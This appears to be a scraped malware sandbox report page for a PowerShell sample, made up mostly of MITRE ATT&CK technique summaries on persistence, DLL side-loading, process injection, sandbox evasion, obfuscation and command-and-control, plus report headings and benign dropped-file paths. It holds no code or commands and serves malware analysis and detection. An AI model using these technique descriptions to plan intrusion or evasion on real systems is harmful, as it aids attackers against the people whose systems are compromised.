Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report kingsmaker_6.ca.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6fde21af-7929-4239-ac98-d10fc39622a1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF462dd2.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cb65cd8f-e245-4981-b18f-1fa700176de4.tmp

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2300

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
kingsmaker_6.ca.ps1

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre